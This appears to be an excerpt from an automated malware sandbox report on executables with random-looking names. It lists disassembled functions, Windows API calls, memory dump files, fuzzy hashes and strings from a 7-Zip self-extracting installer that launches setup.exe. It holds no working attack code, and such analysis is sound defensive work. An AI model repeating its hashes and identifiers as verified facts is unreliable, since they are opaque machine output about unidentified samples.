Instruction Fuzzy Hash: C0919471D21316ABCB20DFE4CC847AEB7B5EF04314F140529E815A7286E7B6AA18CB95

Function 0220D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0220D77E
_malloc.LIBCMT ref: 0220D7B2
_malloc.LIBCMT ref: 0220D7C1
_fprintf.LIBCMT ref: 0220D815

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 3853f905a1c3183362a89c04f457a0734dd519e6ecf06a48d69b08ecfb17fb21
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 98A16EB1C10358EBEF11EFE4C845BEEBB76AF14304F144128D8057A296D7B65A48CFA6

Function 02222AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02222B2E
__read_nolock.LIBCMT ref: 02222BFE
__filbuf.LIBCMT ref: 02222C21
_memset.LIBCMT ref: 02222C65

Part of subcall function 02225BA8: __getptd_noexit.LIBCMT ref: 02225BA8

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 6ad348ebcbb3fca6fae7925e818bc74e3669f70fb227972bec7e880564b1fc40
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 74518370A20326FBDB258EF988847AE77A5AF40324F148729FC35962D8D7779958CB40

Function 02241359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0224137D

Part of subcall function 02241A9D: __fltout2.LIBCMT ref: 02241AC6

__cftog_l.LIBCMT ref: 022413A3
__cftoe_l.LIBCMT ref: 022413D5

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 3324bc20cc3e85b5077169cef75dd99e868fc753f05a72bf56c32419b41a70c2
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 3001363246024ABBCF1A5EC4DD018EE3F62BB19358B488415FA5D58828DB76C5B2AB81

Function 022C7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 022C7A4B

Part of subcall function 022C8140: ___BuildCatchObjectHelper.LIBCMT ref: 022C8172
Part of subcall function 022C8140: ___AdjustPointer.LIBCMT ref: 022C8189

_UnwindNestedFrames.LIBCMT ref: 022C7A62
___FrameUnwindToState.LIBCMT ref: 022C7A74
CallCatchBlock.LIBCMT ref: 022C7A98

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: dda031d57ed18ab4c30d3ec9e17b4314841f7dab98318660f8562a1ff51443a5
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: BC01ED32010509BBCF12AF95CC00EEA7BBAFF88754F258218FD1865124D776E961DFA1

Function 004A4BCC Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetFullPathNameA.KERNEL32(00000000,00000000,?,00000000), ref: 004A4C02
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004A4C1C
HeapDestroy.KERNEL32(00000000), ref: 004A4C38
CloseHandle.KERNEL32(00000000), ref: 004A4C3F

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: CloseDestroyEnvironmentFreeFullHandleHeapNamePathStrings
String ID:
API String ID: 3728440687-0
Opcode ID: 00a9834505464cf2729f54a6d646a669bc93123e0bb29e17edbe1a69c369bb39
Instruction ID: 6fee5c341abdc74afc32e8bb56ebb1a7f74908c956a49815e826c219f5def03a
Opcode Fuzzy Hash: 00a9834505464cf2729f54a6d646a669bc93123e0bb29e17edbe1a69c369bb39
Instruction Fuzzy Hash: AA018BB1105508AFDB10AB74EE8495F7BBCEBDE325B01057BF602D3151DA789D448B6C

Function 004040F8 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00404104

Part of subcall function 0040330E: __getptd_noexit.LIBCMT ref: 00403311
Part of subcall function 0040330E: __amsg_exit.LIBCMT ref: 0040331E

__getptd.LIBCMT ref: 0040411B
__amsg_exit.LIBCMT ref: 00404129
__lock.LIBCMT ref: 00404139

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 8e4ddab6a90b4917264dc88f4efb226a24b089a1c8f28879e587f6b8858ddada
Instruction ID: 809a297cf50b41ecf1d4b7bac088b0458a1c5db437d6f029eb5e37a96366ea0c
Opcode Fuzzy Hash: 8e4ddab6a90b4917264dc88f4efb226a24b089a1c8f28879e587f6b8858ddada
Instruction Fuzzy Hash: CDF0F6B1A017009BD730BB76880A71E37A0AB80715F10413FE554BB2C2CB7C99418A9E

Analysis Process: r0bVQRH8Dto7infNi6DOB01w.exePID: 1548, Parent PID: 4032COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2%
Total number of Nodes:	2000
Total number of Limit Nodes:	44

Executed Functions

Function 00414B04 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00414B2A

Part of subcall function 004159F8: HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09
Part of subcall function 004159F8: HeapDestroy.KERNEL32 ref: 00415A48

GetCommandLineA.KERNEL32 ref: 00414B8A
GetStartupInfoA.KERNEL32(?), ref: 00414BB5
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414BD8

Part of subcall function 00414C31: ExitProcess.KERNEL32 ref: 00414C4E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction ID: b13fe99396feb2249fb7197ea22bdd2eb3a8d4431b5d50e9622b99800ed9eeb5
Opcode Fuzzy Hash: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction Fuzzy Hash: 0721D2B0A44705AFD718AFB6DC46BEE7BB8EF44714F10052FF9009A291DB3C85808A9C

Function 004055DE Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004055E3

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileW.KERNELBASE(?,?), ref: 00405611
AreFileApisANSI.KERNEL32(?), ref: 0040563D
FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040565E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileFind$First$ApisCloseH_prolog
String ID:
API String ID: 4121580741-0
Opcode ID: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction ID: 53571c6d670a3437f98eaf3b47711b77fa147e423a783867877babb07b55427d
Opcode Fuzzy Hash: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction Fuzzy Hash: AB21813180050ADFCF11EF60C8459EEBB75EF00329F10476AE4A5B61E1DB399A85CF48

Function 0040553A Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction ID: 4d0f5172a85985fc9641596f45f8b0e99eb03685ed3a07152804d04183bf4296
Opcode Fuzzy Hash: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction Fuzzy Hash: 5DE0923040050876CB20BF35DC019EB776AEF11398F104276F955672E5D738D9468F98

Function 00401014 Relevance: 56.7, APIs: 12, Strings: 20, Instructions: 692
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401A51: GetVersionExA.KERNEL32(?), ref: 00401A6B

GetCommandLineW.KERNEL32(00000003,00000003,00000003,00000003,?,00000000), ref: 0040108B

Part of subcall function 004038EE: __EH_prolog.LIBCMT ref: 004038F3

Part of subcall function 004045E2: __EH_prolog.LIBCMT ref: 004045E7
Part of subcall function 004045E2: GetModuleFileNameW.KERNEL32(?,?,00000105,00000003,00000000,00000000), ref: 00404618

Part of subcall function 0040235E: __EH_prolog.LIBCMT ref: 00402363

Part of subcall function 00402323: __EH_prolog.LIBCMT ref: 00402328

Part of subcall function 00403D5A: __EH_prolog.LIBCMT ref: 00403D5F

MessageBoxW.USER32(00000000,?,?,00000010), ref: 004015DF
SetCurrentDirectoryA.KERNELBASE(?,?,00000001,?,?,00000003,00000003,0042023C,;!@InstallEnd@!,?,00000003,00000000,00000002,00420274,00000003,?), ref: 0040161E
SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 00401627
ShellExecuteExA.SHELL32(0000003C,?,00000000), ref: 004016D7
MessageBoxW.USER32(00000000,?,?,00000024), ref: 00401306

Part of subcall function 00411093: MessageBoxW.USER32(00000000,?,7-Zip,00000010), ref: 0041109C

Part of subcall function 00402F15: __EH_prolog.LIBCMT ref: 00402F1A

SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 004018B2
CloseHandle.KERNEL32(?,?,00000000), ref: 00401940
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00401965
CloseHandle.KERNEL32(?,?,00000000), ref: 0040196E
SetCurrentDirectoryA.KERNELBASE(?,?,00000000), ref: 00401977

Strings

setup.exe, xrefs: 00401731
Can not create temp folder archive, xrefs: 004014DC
ExecuteFile, xrefs: 004013DD
%%T\, xrefs: 0040179E
Can not load codecs, xrefs: 0040152A
Can't load config info, xrefs: 0040118B
<, xrefs: 0040166B
Directory, xrefs: 004012A9
%%T, xrefs: 004017CD
Can not open file, xrefs: 004016EB
ExecuteParameters, xrefs: 0040141D
Config failed, xrefs: 004011FE
;!@InstallEnd@!, xrefs: 00401173
;!@Install@!UTF-8!, xrefs: 00401178
D, xrefs: 00401821
> @, xrefs: 004011DC
RunProgram, xrefs: 0040139D
Title, xrefs: 00401212
Can not find setup.exe, xrefs: 00401776
, xrefs: 004016DD

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog$CurrentDirectory$Message$CloseHandle$CommandExecuteFileLineModuleNameObjectShellSingleVersionWait
String ID: $%%T$%%T\$;!@Install@!UTF-8!$;!@InstallEnd@!$<$> @$Can not create temp folder archive$Can not find setup.exe$Can not load codecs$Can not open file$Can't load config info$Config failed$D$Directory$ExecuteFile$ExecuteParameters$RunProgram$Title$setup.exe
API String ID: 2760820266-829806607
Opcode ID: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
Instruction ID: 30a6e78c0a87ce65c61bf6c489231b06ab30573cf11c386798d37ebdc1e5dfdc
Opcode Fuzzy Hash: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
Instruction Fuzzy Hash: 57524971D002199ADF21EFA1DC85AEEBB75BF04318F1040BFE149761A2DB395A85CF58

Function 0040AD19 Relevance: 14.2, APIs: 9, Instructions: 682
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040AD1E

Part of subcall function 0040D7CC: __EH_prolog.LIBCMT ref: 0040D7D1

Part of subcall function 00413310: InitializeCriticalSection.KERNEL32(?,?,?,00000000,00000000), ref: 0041333E

DeleteCriticalSection.KERNEL32(?), ref: 0040AF52
DeleteCriticalSection.KERNEL32(?), ref: 0040B1DF
DeleteCriticalSection.KERNEL32(?), ref: 0040B24A
DeleteCriticalSection.KERNEL32(?), ref: 0040B2A7
DeleteCriticalSection.KERNEL32(?), ref: 0040B3B6
DeleteCriticalSection.KERNEL32(?), ref: 0040B410
DeleteCriticalSection.KERNEL32(?,?,?,00000004,00000004), ref: 0040B485
DeleteCriticalSection.KERNEL32(?), ref: 0040B517

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$Delete$H_prolog$Initialize
String ID:
API String ID: 3452124646-0
Opcode ID: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
Instruction ID: 06aa0bffc57edc8446930be4fb3d3ecc4288fdccd94c57135405988f21593cb0
Opcode Fuzzy Hash: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
Instruction Fuzzy Hash: 5D625E7090024ADFDB14DFA4C944BDDBBB4EF14308F1480AEE815B72D2DB789A49DB99

Function 004059B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004059B8
AreFileApisANSI.KERNEL32(?,?,00000000,00000003,?,00000000,?,00000000), ref: 004059DC

Part of subcall function 0040597A: CreateFileA.KERNEL32(?,00000001,?,00000000,?,?,00000000,?,KA,00405A0D,?,?,?,KA,?,00000001), ref: 0040599C

CreateFileW.KERNELBASE(?,?,?,00000000,KA,?,00000000,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A41

Strings

KA, xrefs: 00405A34, 004059FE

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: File$Create$ApisH_prolog
String ID: KA
API String ID: 1948390111-4133974868
Opcode ID: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction ID: 6ceee1153368ae3910bf8b124445a1a72b78f4c7609cf7ab69cd6f34e54ac91e
Opcode Fuzzy Hash: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction Fuzzy Hash: E0118E72A00109EFCF01AFA4D8818DE7F76EF08318F10412AF512B21A1CB398A65DF94

Function 0040483F Relevance: 6.0, APIs: 4, Instructions: 36
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000078,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040484F
CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040486B
SetFileTime.KERNELBASE(00000000,00000000,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000), ref: 00404882
CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?), ref: 0040488E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID:
API String ID: 2291555494-0
Opcode ID: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction ID: 64467d0e5ceda328e6e32eae128236dd02d513a4ef1926b956b8d25c0d97de23
Opcode Fuzzy Hash: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction Fuzzy Hash: B4F0E2762803507BE2302B60AC48F9B6E5CDBC9B25F108535B2A5A20E0C2294D1992B8

Function 00408524 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408529

Strings

83B, xrefs: 0040881D
Unknown error, xrefs: 004087EA, 004087EF

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID: 83B$Unknown error
API String ID: 3519838083-1944086607
Opcode ID: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction ID: d43b38567734cbd3d280cef04a8de17ccbe463ec1fdb7709e9180388f705ec22
Opcode Fuzzy Hash: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction Fuzzy Hash: A5D17070900259EFCF05DFA4C944ADEBB74BF14318F20846EF845BB291CB78AA45CB95

Function 00408F0A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408F0F
GetLastError.KERNEL32(?,00000003,00000003,00000003,?,?,00000000), ref: 00408FD3

Part of subcall function 00409184: __EH_prolog.LIBCMT ref: 00409189

Part of subcall function 004092E9: __EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00408A3B: __EH_prolog.LIBCMT ref: 00408A40

Strings

KA, xrefs: 00409089

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID: KA
API String ID: 2901101390-4133974868
Opcode ID: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
Instruction ID: 1ffdda1e280707f1620b0bff2a1c5a648dc862d45b7bd7d33f28712355ced64d
Opcode Fuzzy Hash: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
Instruction Fuzzy Hash: 7C81677190020AABCF01EFA5C885ADEBBB5BF18318F14416EF455B32A2CB399A05CB54

Function 004049DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004049E2
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00404A6D

Strings

KA, xrefs: 004049F6, 00404A56, 00404B4E, 00404B7E, 00404A7A, 00404B84

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: ErrorH_prologLast
String ID: KA
API String ID: 1057991267-4133974868
Opcode ID: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
